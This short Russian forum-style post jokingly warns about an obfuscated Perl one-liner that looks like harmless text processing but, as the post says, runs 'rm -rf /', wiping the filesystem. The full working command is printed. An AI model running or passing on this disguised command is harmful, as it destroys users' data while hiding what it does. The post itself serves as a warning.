Страшилка на Perl

Отличный язык Perl: cat "test… test… test…" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Если уже где-нибудь встречали, надеюсь не запустили. :) В итоге запустит "rm -rf /"